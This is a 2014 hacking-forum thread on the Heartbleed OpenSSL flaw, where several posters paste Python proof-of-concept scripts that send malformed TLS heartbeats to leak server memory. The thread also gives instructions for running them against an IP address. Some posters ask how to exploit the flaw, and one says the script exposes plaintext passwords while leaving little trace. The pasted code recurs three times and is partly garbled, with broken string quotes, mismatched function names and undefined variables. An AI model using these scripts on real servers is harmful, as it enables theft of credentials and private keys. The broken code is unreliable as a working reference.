

Forum:[Hack Forums](#)

Thread: [\[Heartbleed\] OpenSSL vuln. PoC | Scanner | Links to guides](#)

?ain - April 9, 2014, 3:37 pm

I posted this this morning.. I don't know where it went.
Heartbleed bug! It is an OpenSSL vulnerability.

This is CVE-2014-0160.

Read about it on the [National Vulnerability Database](#).

The image shows a screenshot of a forum post. It contains a URL: <http://lh3.ggpht.com/-nBQdhQSeINM/U0UeRLYtB5I/AAAAAAAAAGio/wHNNa-i5QwY/heartbleed%25255B2%25255D.png?imgmax=800> and a link to a document: [here](#).

The best read I've had about it: [here](#).

I'm not going to go too much into it, I'll link you to other sources.

This is NOT my code.

Spoiler [\(Click to View\)](#)

Code `#!/usr/bin/env python2`

Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
The author disclaims copyright to this source code.

```
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin("""
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c""")
```

```

c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
")

```

```

hb = h2bin(
18 03 02 00 03
01 40 00
")

```

```

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdatt = ''.join('%02X' % ord(c) for c in lin)
        pdatt = ".join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
        print ' %04x: %-48s %s' % (b, hxdatt, pdatt)
    print

```

```

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ""
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

```

```

def rcvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'

```

```

    return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(payload))
return typ, ver, payload

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, payload = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(payload)
            if len(payload) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(payload)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))

    if opts.starttls:
        re = s.recv(4096)
        if opts.debug: print re
        s.send('ehlo startlstest\n')
        re = s.recv(1024)
        if opts.debug: print re
        if not 'STARTTLS' in re:
            if opts.debug: print re
            print 'STARTTLS not supported...'
            sys.exit(0)
        s.send('starttls\n')
        re = s.recv(1024)

    print 'Sending Client Hello...'
    sys.stdout.flush()

```

```

s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
    typ, ver, pay = recvmsg(s)
    if typ == None:
        print 'Server closed connection without sending Server Hello.'
        return
    # Look for server hello done message.
    if typ == 22 and ord(pay[0]) == 0x0E:
        break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

```

Rahul Sasi's scanner and PoC: <http://www.garage4hackers.com/entry.php?b=2551>

With this, you can see the passwords in plaintext. It also leave little to no trace.
 Yes, I know, its late. Figured I'd share some PoC for it, good reads on it, and a scanner.

TRH4CK - April 9, 2014, 3:46 pm

Is this exploit possible on all servers that has openssl installed and running ? My website might be vulnerable then :/

motrox - April 9, 2014, 3:57 pm

How do I exploit this x.x
 I haven't seen a solid tutorial yet.

Bonfire - April 9, 2014, 3:58 pm

Newly updated code for scanning servers. (Not created by me)

Original code by Jared Stafford (jspenguin@jspenguin.org)
 Modified by Csaba Fitzl for multiple SSL / TLS version support

<http://www.exploit-db.com/exploits/32764/>

Code # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]

Date: [2014-04-09]

Exploit Author: [Csaba Fitzl]

Vendor Homepage: [http://www.openssl.org/]

Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]

Version: [1.0.1f]

Tested on: [N/A]

CVE : [2014-0160]

```
#!/usr/bin/env python
```

```
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support
```

```
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
```

```
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
```

```
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
```

```
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
```

```
version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])
```

```
def create_hello(version):
    hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + "' 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
"')
    return hello
```

```
def create_hb(version):
    hb = h2bin('18 ' + version + ' 00 03 01 40 00')
    return hb
```

```
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
```

```

    hxdats = ''.join('%02X' % ord(c) for c in lin)
    pdat = "".join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
    print ' %04x: %-48s %s' % (b, hxdats, pdat)
print

```

```

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ""
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

```

```

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

```

```

def hit_hb(s,hb):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

```

```

    if typ == 21:
        print 'Received alert:'
        hexdump(payload)
        print 'Server returned error, likely not vulnerable'
        return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    for i in range(len(version)):
        print 'Trying ' + version[i][0] + '...'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(create_hello(version[i][1]))
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(payload[0]) == 0x0E:
                break

        print 'Sending heartbeat request...'
        sys.stdout.flush()
        s.send(create_hb(version[i][1]))
        if hit_hb(s, create_hb(version[i][1])):
            #Stop if vulnerable
            break

if __name__ == '__main__':
    main()

```

(Apr 9, 2014 03:46 PM)TRH4CK Wrote: [\[CITE\]](#) Is this exploit possible on all servers that has openssl installed and running ? My website might be vulnerable then :/

No, only servers with OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable.

OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.

Mohatu - April 9, 2014, 3:58 pm

I'm glad most big websites have gotten the time to fix this issue before the script kiddies got a hold of tools.

LastKittyCat - April 9, 2014, 4:23 pm

Anyone mind showing me how this works?

?ain - April 9, 2014, 5:36 pm

(Apr 9, 2014 03:58 PM)Mohatu Wrote: [\[CITE\]](#) I'm glad most big websites have gotten the time to fix this issue before the script kiddies got a hold of tools.

That's why I figured it was all good to let it out now.

(Apr 9, 2014 03:58 PM)Bonfire. Wrote: [\[CITE\]](#) Newly updated code for scanning servers. (Not created by me)

Original code by Jared Stafford (jspenguin@jspenguin.org)

Modified by Csaba Fitzl for multiple SSL / TLS version support

<http://www.exploit-db.com/exploits/32764/>

Code # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]

Date: [2014-04-09]

Exploit Author: [Csaba Fitzl]

Vendor Homepage: [http://www.openssl.org/]

Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]

Version: [1.0.1f]

Tested on: [N/A]

CVE : [2014-0160]

#!/usr/bin/env python

Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

The author disclaims copyright to this source code.

Modified by Csaba Fitzl for multiple SSL / TLS version support

import sys

import struct

import socket

import time

import select

import re

from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):

 return x.replace(' ', '').replace('\n', '').decode('hex')

version = []

version.append(['SSL 3.0','03 00'])

version.append(['TLS 1.0','03 01'])

version.append(['TLS 1.1','03 02'])

version.append(['TLS 1.2','03 03'])

def create_hello(version):

 hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ' ' +
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf

```
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
```

```
""")
    return hello
```

```
def create_hb(version):
    hb = h2bin('18 ' + version + ' 00 03 01 40 00')
    return hb
```

```
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdatt = ''.join('%02X' % ord(c) for c in lin)
        pdatt = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print ' %04x: %-48s %s' % (b, hxdatt, pdatt)
    print
```

```
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ""
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
```

```
def recvmssg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
```

```
if pay is None:
    print 'Unexpected EOF receiving record payload - server closed connection'
    return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
```

```
def hit_hb(s,hb):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
```

```
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    for i in range(len(version)):
        print 'Trying ' + version[i][0] + '...'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(create_hello(version[i][1]))
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break
```

```
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(create_hb(version[i][1]))
if hit_hb(s,create_hb(version[i][1])):
    #Stop if vulnerable
    break
```

```
if __name__ == '__main__':
    main()
```

No, only servers with OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable.
OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.
I didn't know he made a scanner! Not bad.

Goodies - April 9, 2014, 6:41 pm

Keeping this in mind.
I have other PoC scripts.

Mohatu - April 9, 2014, 6:43 pm

I wish I could find the copyright information on that logo. I want a t-shirt.

?ain - April 9, 2014, 6:45 pm

(Apr 9, 2014 06:43 PM)Mohatu Wrote: [\[CITE\]](#) I wish I could find the copyright information on that logo. I want a t-shirt.
Just get one printed.
#CivilDisobedience

motrox - April 9, 2014, 6:46 pm

Sorry if this is a dumbass question but...
How do I run raul's scanner?

Goodies - April 9, 2014, 7:33 pm

(Apr 9, 2014 06:46 PM)motrox Wrote: [\[CITE\]](#) Sorry if this is a dumbass question but...
How do I run raul's scanner?
Use this:
<http://www.exploit-db.com/exploits/32764/>

Assuming you're on Linux, run
chmod +x file.py

Then
./file.py <ip>

Snowl - April 9, 2014, 7:49 pm

In your opinion how long do you think until OpenSSL patches this vulnerability? It's quite severe.

_Silky - April 9, 2014, 7:54 pm

(Apr 9, 2014 07:49 PM)Snowl Wrote: [\[CITE\]](#) In your opinion how long do you think until OpenSSL patches this vulnerability? It's quite severe.
I don't know if a patch has been released yet, but people can just upgrade to OpenSSL 1.0.1g, or disable the heartbeat feature. And changing all your certificates with it.. but to answer the question, very soon with all the media attention it's getting. It's the end of the road for this exploit.

?ain - April 9, 2014, 8:24 pm

(Apr 9, 2014 07:54 PM)_Silky Wrote: [\[CITE\]](#) I don't know if a patch has been released yet, but people can just upgrade to OpenSSL 1.0.1g, or disable the heartbeat feature. And changing all your certificates with it.. but to answer the question, very soon with all the media attention it's getting. It's the end of the road for this exploit.

It was pretty much at the end of it yesterday or the day before.

I don't know about a patch but they are endorsing updates, because the newer versions are not affected.

Mauri - April 10, 2014, 3:51 am

but i cant find a real attack script/tool somewhere. sure i can dump some memory but nothing special. can somebody bring some light into this for me ?

Mohatu - April 10, 2014, 3:54 am

(Apr 10, 2014 03:51 AM)Mauri Wrote: [\[CITE\]](#) but i cant find a real attack script/tool somewhere. sure i can dump some memory but nothing special. can somebody bring some light into this for me ?

If you read through this when you have the time, you'll be able to know what to look for, why this does what it does, how it's patchable, and what can be done with it.

<http://www.troyhunt.com/2014/04/everything-you-need-to-know-about.html?m=1>

TRH4CK - April 10, 2014, 8:43 am

(Apr 9, 2014 03:58 PM)Bonfire. Wrote: [\[CITE\]](#) Newly updated code for scanning servers. (Not created by me)

Original code by Jared Stafford (jspenguin@jspenguin.org)

Modified by Csaba Fitzl for multiple SSL / TLS version support

<http://www.exploit-db.com/exploits/32764/>

Code # Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]

Date: [2014-04-09]

Exploit Author: [Csaba Fitzl]

Vendor Homepage: [http://www.openssl.org/]

Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]

Version: [1.0.1f]

Tested on: [N/A]

CVE : [2014-0160]

#!/usr/bin/env python

Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)

The author disclaims copyright to this source code.

Modified by Csaba Fitzl for multiple SSL / TLS version support

import sys

import struct

import socket

import time

import select

import re

```
from optparse import OptionParser
```

```
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
```

```
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
```

```
def h2bin(x):
```

```
    return x.replace(' ', '').replace('\n', '').decode('hex')
```

```
version = []
```

```
version.append(['SSL 3.0','03 00'])
```

```
version.append(['TLS 1.0','03 01'])
```

```
version.append(['TLS 1.1','03 02'])
```

```
version.append(['TLS 1.2','03 03'])
```

```
def create_hello(version):
```

```
    hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + "' 53  
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf  
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00  
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88  
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c  
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09  
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44  
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c  
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11  
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04  
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19  
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08  
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13  
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00  
00 0f 00 01 01
```

```
")
```

```
    return hello
```

```
def create_hb(version):
```

```
    hb = h2bin('18 ' + version + ' 00 03 01 40 00')
```

```
    return hb
```

```
def hexdump(s):
```

```
    for b in xrange(0, len(s), 16):
```

```
        lin = [c for c in s[b : b + 16]]
```

```
        hxdat = ''.join('%02X' % ord(c) for c in lin)
```

```
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
```

```
        print ' %04x: %-48s %s' % (b, hxdat, pdat)
```

```
    print
```

```
def recvall(s, length, timeout=5):
```

```
    endtime = time.time() + timeout
```

```
    rdata = ""
```

```
    remain = length
```

```
    while remain > 0:
```

```
        rtime = endtime - time.time()
```

```
        if rtime < 0:
```

```

return None
r, w, e = select.select([s], [], [], 5)
if s in r:
    data = s.recv(remain)
    # EOF?
    if not data:
        return None
    rdata += data
    remain -= len(data)
return rdata

```

```

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

```

```

def hit_hb(s,hb):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

```

```

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    for i in range(len(version)):

```

```

print 'Trying ' + version[i][0] + '...'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(create_hello(version[i][1]))
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
    typ, ver, pay = recvmsg(s)
    if typ == None:
        print 'Server closed connection without sending Server Hello.'
        return
    # Look for server hello done message.
    if typ == 22 and ord(pay[0]) == 0x0E:
        break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(create_hb(version[i][1]))
    if hit_hb(s, create_hb(version[i][1])):
        #Stop if vulnerable
        break

if __name__ == '__main__':
    main()

```

No, only servers with OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable.
 OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.

Alright thanks ;)

I updated my server now my site isnt vulnerable anymore :D (Tested the vuln using filippo.io)

Sicarius - April 10, 2014, 8:55 am

(Apr 9, 2014 03:58 PM)Mohatu Wrote: [\[CITE\]](#) I'm glad most big websites have gotten the time to fix this issue before the script kiddies got a hold of tools.

Only reason they get the tools is because they are made, we should start the anti-skid revolution and make no tools :). OT ty for the script, I like studying source's like this.

Mauri - April 10, 2014, 2:18 pm

for me this is just a big hype about nothing. there is not one valid attac vector available. everybody is fuzzing about "what COULD happen" but nobody shows something...

_Silky - April 10, 2014, 3:10 pm

Now that there's a Metasploit module, lets just shut the fuck up about it and find a new one :)

?ain - April 10, 2014, 4:35 pm

(Apr 10, 2014 03:10 PM)_Silky Wrote: [\[CITE\]](#) Now that there's a Metasploit module, lets just shut the fuck up about it and find a new one :)

Oh, _Silky. Always the sweetheart.

Its dying anyways, very, very quickly. Its interesting, however.

Mauri - April 10, 2014, 6:37 pm

is anybody able to show some real world attack ? couldnt find anybody - anywhere...its just crap.

?ain - April 10, 2014, 8:02 pm

(Apr 10, 2014 06:37 PM)Mauri Wrote: [\[CITE\]](#) is anybody able to show some real world attack ? couldnt find anybody - anywhere...its just crap.

Well have you seen how much hype there is about it? Of course its patched.

Reserve - April 10, 2014, 11:50 pm

(Apr 10, 2014 06:37 PM)Mauri Wrote: [\[CITE\]](#) is anybody able to show some real world attack ? couldnt find anybody - anywhere...its just crap.

Dude if you don't understand why this is a big deal ... gtfo.

Any other windows users getting a syntax error on line 55?

Grabs - April 11, 2014, 7:09 am

A nice comic explaining the Heartbleed vulnerability:

<http://xkcd.com/1354/>

In case one of you needs to explain it to someone that doesn't know that much about IT.

(Apr 10, 2014 06:37 PM)Mauri Wrote: [\[CITE\]](#) is anybody able to show some real world attack ? couldnt find anybody - anywhere...its just crap.

Seriously man? Your avatar is from Offensive Security and you're calling a HUGE vulnerability crap. LOL

(Apr 10, 2014 04:35 PM)G0dOf4ll Wrote: [\[CITE\]](#) Oh, _Silky. Always the sweetheart.

Its dying anyways, very, very quickly. Its interesting, however.

To be fair, this vulnerability will be around for years in home routers/firewalls that won't be patched by indolent users.

Mauri - April 11, 2014, 7:18 am

Yep exactly, i`ve done all those certificates and i still say:

show me ONE real world hack, a real world attack vector for this uber-problem.....

Emyli - April 11, 2014, 11:12 am

Read someone where is a 2 year old issue--can't say I'm surprised that it is. I agree with "what could happen".

Grabs - April 12, 2014, 4:53 am

(Apr 11, 2014 07:18 AM)Mauri Wrote: [\[CITE\]](#) Yep exactly, i`ve done all those certificates and i still say:

show me ONE real world hack, a real world attack vector for this uber-problem.....

<http://www.bloomberg.com/news/2014-04-11/nsa-said-to-have-used-heartbleed-bug-exposing-consumers.html>

<http://www.theverge.com/us-world/2014/4/11/5606524/hacker-successfully-uses-heartbleed-to-retrieve-private-security-keys>

There you go.

Mad76e - April 12, 2014, 5:47 am

Hmma... This "vuln" has been out there in the wild since last fall .. It is only now that there are patches, to fix the issue, the information reaches the public

.. And thank god for that..

Just imagine the mass hysteria otherwise!

jumbo9900 - April 12, 2014, 9:04 pm

Very cool exploit

But now 90% people fixed it

Its NSA USA gov agency who use to spy on others

Well its so far big loop hole